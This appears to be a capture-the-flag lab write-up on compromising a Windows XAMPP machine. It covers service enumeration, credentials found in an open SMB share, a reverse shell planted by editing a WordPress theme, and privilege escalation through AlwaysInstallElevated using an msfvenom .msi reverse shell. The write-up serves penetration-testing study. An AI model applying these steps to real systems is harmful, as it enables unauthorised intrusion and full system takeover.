phpinfo() — http://192.168.236.55/dashboard/phpinfo.php
Directory path: C:\xampp\php\php.ini
FTP — no anonymous login
Version banner:

nc 192.168.236.55 21
220-FileZilla Server version 0.9.41 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de)
220 Please visit http://sourceforge.net/projects/filezilla/

User account: C:\Users\shenzi

+ Apache 2.4.43
+ MariaDB 10.4.11
+ PHP 7.4.6 (VC15 X86 64bit thread safe) + PEAR
+ phpMyAdmin 5.0.2
+ OpenSSL 1.1.0g
+ ADOdb 518a
+ Mercury Mail Transport System v4.63 (not included in the portable version)
+ FileZilla FTP Server 0.9.41 (not included in the portable version)
+ Webalizer 2.23-04 (not included in the portable version)
+ Strawberry Perl 5.16.3.1 Portable
+ Tomcat 7.0.103
+ XAMPP Control Panel Version 3.2.4.
+ XAMPP mailToDisk 1.0

Next Step

Bruteforce to find the password for user “shenzi” on FTP and MariaDB — MariaDB restricted to local access, FTP bruteforce failed.
SMB enumeration — found open share “Shenzi”:

smb: \> ls
passwords.txt                       A      894  Thu May 28 17:45:09 2020
readme_en.txt                       A     7367  Thu May 28 17:45:09 2020
sess_klk75u2q4rpgfjs3785h6hpipp      A     3879  Thu May 28 17:45:09 2020
why.tmp                             A      213  Thu May 28 17:45:09 2020
xampp-control.ini                   A      178  Thu May 28 17:45:09 2020

### XAMPP Default Passwords ###

1) MySQL (phpMyAdmin): User: root, Password: (none)
2) FileZilla FTP: [create a new user via the FileZilla interface]
3) Mercury: Postmaster (postmaster@localhost), Administrator: Admin (admin@localhost), User: newuser, Password: wampp
4) WEBDAV: User: xampp-dav-unsecure, Password: ppmax2011 (inactive since XAMPP 1.7.4)
5) WordPress: User: admin, Password: FeltHeadwallWight357

What Next?

Use the WordPress credentials to log in and drop a reverse shell by editing the theme.

Foothold — Stage 2

Enumeration

whoami — shutdown privileges
After the usual enumeration, found:

PS C:\> reg query HKCU\Software\Policies\Microsoft\Windows\Installer

HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
   AlwaysInstallElevated    REG_DWORD    0x1

PS C:\> reg query HKLM\Software\Policies\Microsoft\Windows\Installer

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
   AlwaysInstallElevated    REG_DWORD    0x1

Exploitation

Straightforward — dropped an msfvenom .msi reverse shell and caught it with nc.